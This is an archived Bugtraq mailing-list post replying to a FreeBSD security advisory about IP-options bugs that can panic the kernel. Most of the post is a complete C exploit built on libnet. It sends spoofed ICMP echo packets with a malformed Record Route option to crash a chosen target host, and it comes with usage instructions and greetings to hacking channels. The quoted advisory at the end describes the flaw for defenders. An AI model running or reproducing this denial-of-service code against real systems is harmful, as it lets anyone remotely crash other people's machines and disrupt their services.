[15485] in bugtraq

home help back first fref pref prev next nref lref last post

Re: FreeBSD Security Advisory: FreeBSD-SA-00:23.ip-options

daemon@ATHENA.MIT.EDU (yeti)
Mon Jun 26 16:31:29 2000

Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Message-Id:  <Pine.LNX.4.10.9901131941520.12717-100000@rast.lodz.pdi.net>
Date:         Wed, 13 Jan 1999 19:50:08 +0100
Reply-To: yeti <y3t1@RAST.LODZ.PDI.NET>
From: yeti <y3t1@RAST.LODZ.PDI.NET>
To: BUGTRAQ@SECURITYFOCUS.COM
In-Reply-To:  <20000622215052.D642E37BF12@hub.freebsd.org>

#include <stdio.h>
#include <libnet.h>
/* Remote denial-of-service in IP stack
   simple exploit by y3t1
                     y3t1@rast.lodz.pdi.net

Gretzzz : rastlin,z33d,vanitas,DYZIU,Kuki,vx,zx,korie,kaneda,
          d3cker&mroowka,jarv33s,funkySh,Shadow,tmoggie
	  all from :
	           #hwa.hax0r.news@efnet
	           #darnet@efnet
*/
int rand_n(u_long zakres)
{
  return 1+(int) ((float)zakres*rand()/(RAND_MAX+1.0));
}

int main(int argc, char **argv)
{
    char a;
    int sock, c,pkt,ile;
    struct hostent *host;
    u_long src_ip, dst_ip;
    u_char *buf;
    u_char options[4];
    int option_s  = sizeof(options);
    struct ipoption ipopt;
    srand(time(NULL));
    ile=100;
    printf("  -= Remote denial-of-service in IP stack =- \n");
    printf("\n");
    printf("                          by y3t1/team140\n");
    printf("                             y3t1@rast.lodz.pdi.net \n");
    printf("\n");
    if  (argc < 4)
    {
     printf("%s -s src_addr -d dst_addr -p packets\n",argv[0]);
     printf(" -s src_addr - source address \n");
     printf(" -d dst_addr - dest address \n");
     printf(" -p packets - how many packets send to dest (default 100)\n");
     exit(1);
    }
   opterr=0;
   while((a=getopt(argc,argv,"s:d:p:"))!=EOF)
   {
	switch(a) {
	 case 's': {
	           if ((host=gethostbyname(optarg))!=NULL)
		   bcopy(host->h_addr,&src_ip,host->h_length);
		   else src_ip=inet_addr(optarg);
		   break;
		   }
	 case 'd': {
	           if ((host=gethostbyname(optarg))!=NULL)
		   bcopy(host->h_addr,&dst_ip,host->h_length);
		   else dst_ip=inet_addr(optarg);
	      	   break;
                   }
         case 'p': {
	            ile=atoi(optarg);
		    break;
		   }
	 }
   }
    bzero(options,option_s);
    buf = malloc(IP_MAXPACKET);
    if (!buf)
    {
        perror("malloc");
        exit(-1);
    }
    sock = libnet_open_raw_sock(IPPROTO_RAW);
    if (sock == -1)
    {
        perror("socket");
        exit(-1);
    }
    libnet_build_ip(LIBNET_ICMP_H ,0,242,0,48,IPPROTO_ICMP,src_ip,dst_ip,NULL,0,buf);
    memcpy(ipopt.ipopt_list, options, option_s);
    *(ipopt.ipopt_list)     = IPOPT_RR;
    *(ipopt.ipopt_list+1)   = 3;
    *(ipopt.ipopt_list+2)   = 0xff;
    *(ipopt.ipopt_list+3)   = 0;
    c = libnet_insert_ipo(&ipopt,option_s,buf);
    if (c == -1)
    {
        printf("Error\n");
	exit(1);
    }
    libnet_build_icmp_echo(ICMP_ECHO,0,242,31337,NULL,0,buf+LIBNET_IP_H+option_s);
    if (libnet_do_checksum(buf,IPPROTO_ICMP,LIBNET_ICMP_ECHO_H)==-1)
    {
     printf("can't do checksum \n");
    }
 for (pkt=0;pkt<ile;pkt++)
 {
    buf[22]=rand_n(0xff);
    c = libnet_write_ip(sock, buf, LIBNET_ICMP_ECHO_H + LIBNET_IP_H + option_s);
 }
    free(buf);
    libnet_close_raw_sock(sock);
}

On Thu, 22 Jun 2000, FreeBSD Security Advisories wrote:

> -----BEGIN PGP SIGNED MESSAGE-----
> Topic:		Remote denial-of-service in IP stack
>
> Category:	core
> Module:	kernel
>
> There are several bugs in the processing of IP options in the FreeBSD
> IP stack, which fail to correctly bounds-check arguments and contain
> other coding errors leading to the possibility of data corruption and
> a kernel panic upon reception of certain invalid IP packets.
>

home help back first fref pref prev next nref lref last post